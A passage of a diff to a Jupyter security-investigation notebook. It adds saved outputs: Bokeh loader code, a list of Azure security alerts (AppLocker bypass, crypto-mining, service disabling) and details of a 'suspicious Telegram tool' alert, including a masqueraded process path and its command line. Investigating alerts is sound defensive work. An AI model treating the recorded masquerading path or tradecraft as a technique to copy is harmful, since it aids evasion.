null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = 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AlertNamealertCountfirstAlertlastAlert
0Security incident detected12019-02-14 18:03:23+00:002019-02-14 18:03:23+00:00
1Suspicious system process executed12019-02-14 11:52:06+00:002019-02-14 11:52:06+00:00
2Potential attempt to bypass AppLocker detected12019-02-14 11:52:06+00:002019-02-14 11:52:06+00:00
3Security incident with shared process detected12019-02-14 05:19:13+00:002019-02-14 05:19:13+00:00
4Suspiciously named process detected12019-02-13 22:04:16+00:002019-02-13 22:04:16+00:00
5Digital currency mining related behavior detected12019-02-13 22:04:15+00:002019-02-13 22:04:15+00:00
6Detected the disabling of critical services12019-02-13 23:07:57+00:002019-02-13 23:07:57+00:00
7Detected potentially suspicious use of Telegram tool12019-02-13 23:07:57+00:002019-02-13 23:07:57+00:00
\n", + "
" + ], + "text/plain": [ + " AlertName alertCount \\\n", + "0 Security incident detected 1 \n", + "1 Suspicious system process executed 1 \n", + "2 Potential attempt to bypass AppLocker detected 1 \n", + "3 Security incident with shared process detected 1 \n", + "4 Suspiciously named process detected 1 \n", + "5 Digital currency mining related behavior detected 1 \n", + "6 Detected the disabling of critical services 1 \n", + "7 Detected potentially suspicious use of Telegram tool 1 \n", + "\n", + " firstAlert lastAlert \n", + "0 2019-02-14 18:03:23+00:00 2019-02-14 18:03:23+00:00 \n", + "1 2019-02-14 11:52:06+00:00 2019-02-14 11:52:06+00:00 \n", + "2 2019-02-14 11:52:06+00:00 2019-02-14 11:52:06+00:00 \n", + "3 2019-02-14 05:19:13+00:00 2019-02-14 05:19:13+00:00 \n", + "4 2019-02-13 22:04:16+00:00 2019-02-13 22:04:16+00:00 \n", + "5 2019-02-13 22:04:15+00:00 2019-02-13 22:04:15+00:00 \n", + "6 2019-02-13 23:07:57+00:00 2019-02-13 23:07:57+00:00 \n", + "7 2019-02-13 23:07:57+00:00 2019-02-13 23:07:57+00:00 " + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "alert_list = qry_prov.SecurityAlert.list_alerts(\n", " alert_q_times)\n", @@ -239,14 +1102,250 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 7, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:19.661858Z", "start_time": "2020-05-16T02:14:19.614856Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "ea7afade463a4d56bcbd1fe50058a0d0", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "

Series Alert: 'Detected potentially suspicious use of Telegram tool'

\n", + " Alert_time: 2019-02-13 23:07:24+00:00, \n", + " Compr_entity: MSTICALERTSWIN1, \n", + " Alert_id: 2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a\n", + "
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7
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 23:07:57+00:00
AlertDisplayNameDetected potentially suspicious use of Telegram tool
AlertNameDetected potentially suspicious use of Telegram tool
SeverityMedium
DescriptionAnalysis of host data shows installation of Telegram, a free cloud-based instant messaging servi...
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIda1008225-c62f-4f51-84aa-6aad89a02b3a
SystemAlertId2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_Telegram_install
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 23:07:24+00:00
EndTimeUtc2019-02-13 23:07:24+00:00
ProcessingEndTime2019-02-13 23:07:57+00:00
RemediationSteps[\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the install of Telegram as shown in the command ...
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1
\n", + "
" + ], + "text/plain": [ + " 7\n", + "TenantId 52b1ab41-869e-4138-9e40-2a4457f09bf0\n", + "TimeGenerated 2019-02-13 23:07:57+00:00\n", + "AlertDisplayName Detected potentially suspicious use of Telegram tool\n", + "AlertName Detected potentially suspicious use of Telegram tool\n", + "Severity Medium\n", + "Description Analysis of host data shows installation of Telegram, a free cloud-based instant messaging servi...\n", + "ProviderName Detection\n", + "VendorName Microsoft\n", + "VendorOriginalId a1008225-c62f-4f51-84aa-6aad89a02b3a\n", + "SystemAlertId 2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a\n", + "ResourceId /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...\n", + "SourceComputerId 263a788b-6526-4cdc-8ed9-d79402fe4aa0\n", + "AlertType SCUBA_RULE_Telegram_install\n", + "ConfidenceLevel Unknown\n", + "ConfidenceScore NaN\n", + "IsIncident False\n", + "StartTimeUtc 2019-02-13 23:07:24+00:00\n", + "EndTimeUtc 2019-02-13 23:07:24+00:00\n", + "ProcessingEndTime 2019-02-13 23:07:57+00:00\n", + "RemediationSteps [\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the install of Telegram as shown in the command ...\n", + "ExtendedProperties {'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...\n", + "Entities [{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...\n", + "SourceSystem Detection\n", + "WorkspaceSubscriptionId 40dcc8bf-0478-4f3b-b275-ed0a94f2c013\n", + "WorkspaceResourceGroup asihuntomsworkspacerg\n", + "ExtendedLinks \n", + "ProductName \n", + "ProductComponentName \n", + "AlertLink \n", + "Type SecurityAlert\n", + "CompromisedEntity MSTICALERTSWIN1" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "get_alert = None\n", "alert_select = nbwidgets.SelectAlert(alerts=alert_list, action=nbdisplay.format_alert)\n", @@ -268,14 +1367,218 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 8, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:38.285057Z", "start_time": "2020-05-16T02:14:38.264058Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "

Alert: 'Detected potentially suspicious use of Telegram tool'

\n", + " Alert_time: 2019-02-13 23:07:24+00:00,\n", + " Compr_entity: MSTICALERTSWIN1,\n", + " Alert_id: 2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
7
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 23:07:57+00:00
AlertDisplayNameDetected potentially suspicious use of Telegram tool
AlertNameDetected potentially suspicious use of Telegram tool
SeverityMedium
DescriptionAnalysis of host data shows installation of Telegram, a free cloud-based instant messaging service that exists both for mobile and desktop system. Attackers are known to abuse this service to transfer malicious binaries to any other computer, phone, or tablet.
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIda1008225-c62f-4f51-84aa-6aad89a02b3a
SystemAlertId2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_Telegram_install
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 23:07:24+00:00
EndTimeUtc2019-02-13 23:07:24+00:00
ProcessingEndTime2019-02-13 23:07:57+00:00
RemediationSteps[\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the install of Telegram as shown in the command line and then review the binaries that run just after the telegram install to confirm that they are legitimate and expected on MSTICALERTSWIN1. If not, escalate the alert to the information security team\"\\r\\n]
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x1f388a3', 'Suspicious Process': 'c:\\w!ndows\\system32\\tsetup.1.exe', 'Suspicious Command Line': '.\\tsetup.1.exe c:\\users\\msticadmin\\appdata\\local\\temp\\2\\is-01dd7.tmp\\tsetup.1.0.14.tmp\" /sl5=\"$250276,19992586,423424,c:\\users\\msticadmin\\downloads\\tsetup.1.0.14.exe', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x2ddc', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x1be0', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x1f388a3'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'tsetup.1.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x2ddc', 'CommandLine': '.\\tsetup.1.exe c:\\users\\msticadmin\\appdata\\local\\temp\\2\\is-01dd7.tmp\\tsetup.1.0.14.tmp\" /sl5=\"$250276,19992586,423424,c:\\users\\msticadmin\\downloads\\tsetup.1.0.14.exe', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-13T23:07:24.2716285Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x1f388a3', 'StartTimeUtc': '2019-02-13T23:07:24.2716285Z', 'EndTimeUtc': '2019-02-13T23:07:24.2716285Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1

ExtendedProperties:

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0
Compromised HostMSTICALERTSWIN1
User NameMSTICALERTSWIN1\\MSTICAdmin
Account Session Id0x1f388a3
Suspicious Processc:\\w!ndows\\system32\\tsetup.1.exe
Suspicious Command Line.\\tsetup.1.exe c:\\users\\msticadmin\\appdata\\local\\temp\\2\\is-01dd7.tmp\\tsetup.1.0.14.tmp\" /sl5=\"$250276,19992586,423424,c:\\users\\msticadmin\\downloads\\tsetup.1.0.14.exe
Parent Processc:\\windows\\system32\\cmd.exe
Suspicious Process Id0x2ddc
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'}
{ 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x1be0',, 'Type': 'process'}
{ 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1f388a3',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\tsetup.1.exe',, 'Name': 'tsetup.1.exe',, 'Type': 'file'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1f388a3',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'CommandLine': '.\\\\tsetup.1.exe ', 'c:\\\\users\\\\msticadmin\\\\appdata\\\\local\\\\temp\\\\2\\\\is-01dd7.tmp\\\\tsetup.1.0.14.tmp" ', '/sl5="$250276,19992586,423424,c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exe',, 'CreationTimeUtc': '2019-02-13T23:07:24.2716285Z',, 'ElevationToken': 'Default',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\tsetup.1.exe',, 'Name': 'tsetup.1.exe',, 'Type': 'file'},, 'ParentProcess': { 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x1be0',, 'Type': 'process'},, 'ProcessId': '0x2ddc',, 'Type': 'process'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1f388a3',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'EndTimeUtc': '2019-02-13T23:07:24.2716285Z',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'SessionId': '0x1f388a3',, 'StartTimeUtc': '2019-02-13T23:07:24.2716285Z',, 'Type': 'host-logon-session'}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Extract entities and properties into a SecurityAlert class\n", "if alert_select is None or alert_select.selected_alert is None:\n", @@ -297,14 +1600,25 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 9, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:41.613471Z", "start_time": "2020-05-16T02:14:41.251019Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "image/png": 